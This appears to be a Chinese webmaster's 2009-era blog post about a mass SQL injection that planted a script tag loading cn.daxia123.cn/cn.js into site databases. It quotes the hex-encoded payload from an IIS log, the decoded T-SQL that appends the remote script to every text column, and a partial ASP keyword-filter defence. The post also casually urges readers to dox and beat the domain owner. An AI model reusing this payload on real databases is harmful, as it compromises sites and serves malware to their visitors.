数据库被注入daxia123原因及解决办法

近期，我管理的一个网站频繁被注入木马代码<script src=http://cn.daxia123.cn/cn.js></script>，在百度搜索这段代码，竟然可以搜到2万多的网站被注入了。这里希望大家能够帮忙人肉搜索出这个域名的所有者，进而找到那个坏蛋，揪出来痛打一顿。

查看IIS日志发现如下信息：

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–>2009-01-01 01:27:35 W3SVC599379226 *.*.*.*GET reads.asp msgid=2068%25’%20;dEcLaRe%20@S%20VaRcHaR(4000)%20SeT%20@s=cAsT(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747
970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D30292
0424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F636E2E64617869613132332E636E2F636E2E6A733E3C2F7363726970743E27272729204645544348204E4558542046524
F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20aS%20VaRcHaR(4000));eXeC(@s);–%20aNd%20’%25’=’ 80 – 211.200.141.151 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) http://** 200 0 0

网上搜到211.200.141.151来自韩国首尔，估计是代理的，网上有兄弟把这段代码还原如下：

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–>DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype=‘u‘ AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN EXEC(‘UPDATE [‘+@T+‘] SET [‘+@C+‘]=RTRIM
(CONVERT(VARCHAR(4000),[‘+@C+‘]))+” <script
src=http://cn.daxia123.cn/cn.js> </script>”’)
FETCH NEXT FROM Table_Cursor INTO @T,@C END
CLOSE Table_Cursor DEALLOCATE Table_Cursor

那断代码虽然被编码过，但是还是可以看到有declare,exec，等SQL关键字，因此用通常的防注代码应该是有效的

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If Request.Form<>“” Then
  For Each Sql_Post In Request.Form
   For SQL_Data=0 To Ubound(SQL_inj)
    if instr(Request.Form(Sql_Post),Sql_Inj(Sql_DATA))>0 Then
      Response.Write “<Script Language=javascript>history.back(-1);</Script>“
      Response.end
    end if
   next
next
end if
%>